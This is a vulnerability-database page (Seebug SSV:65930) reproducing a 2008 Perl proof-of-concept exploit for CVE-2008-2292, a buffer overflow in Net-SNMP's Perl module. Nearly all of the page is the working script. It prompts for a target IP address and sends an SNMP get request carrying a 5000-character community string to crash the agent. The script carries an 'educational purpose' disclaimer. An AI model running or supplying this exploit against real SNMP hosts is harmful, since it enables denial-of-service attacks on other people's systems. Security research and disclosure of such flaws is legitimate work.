Lucene search

K
seebugRootSSV:65930
HistoryJul 01, 2014 - 12:00 a.m.

Net-SNMP <= 5.1.4/5.2.4/5.4.1 Perl Module Buffer Overflow PoC

2014-07-0100:00:00
Root
www.seebug.org
18

0.238 Low

EPSS

Percentile

96.6%

No description provided by source.


                                                #!usr/bin/perl -w

################################################################################################################
#    Buffer overflow in the __snprint_value function in snmp_get in Net-SNMP 5.1.4, 5.2.4, and 5.4.1,
#    as used in SNMP.xs for Perl, allows remote attackers to cause a denial of service (crash) and
#    possibly execute arbitrary code via a large OCTETSTRING in an attribute value pair (AVP).
#
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2292
#    http://www.securityfocus.com/bid/29212/discuss
#
#
#    To run this exploit on MS Windows replace &#34;#!usr/bin/perl -w&#34; with &#34;#!Installation_path_for_perl -w&#34;
#    (say #!C:/Program Files/Perl/bin/perl -w)
#
#     This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author:    Praveen Darshanam
#        Email:    praveen[underscore]recker[at]sify.com
#        Date:    11th November, 2008
#
#    NOTE:    Thanks to all my colleagues at iPolicy Networks for making this possible
#            For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################

use Net::SNMP;

printf(&#34;\nEnter the IP Adress of Vulnerable SNMP Manager Agent:  &#34;);
$host_vulnerable = &#60;STDIN&#62;;
$port = 161;
#default SNMP port
$community = &#34;D&#34; x 5000;

($session, $error) = Net::SNMP-&#62;session(
                                               -hostname      =&#62; $host_vulnerable,
                                               -port          =&#62; $port,
                                               -community     =&#62; $community,
                                             -maxmsgsize    =&#62; 7000,
                                        );
 if (!defined($session))
 {
      printf(&#34;ERROR: %s.\n&#34;, $error);
      exit 1;
 }

$sysUpTime = &#39;1.3.6.1.2.1.1.3.0&#39;;
$snmp_mal_request = $session-&#62;get_request(
                                              -varbindlist =&#62; [$sysUpTime],
                                          );

 if (!defined($snmp_mal_request)) {
                                      printf(&#34;ERROR: %s.\n&#34;, $session-&#62;error);
                                      $session-&#62;close;
                                      exit 1;
                                  }

$session-&#62;close;

# milw0rm.com [2008-11-12]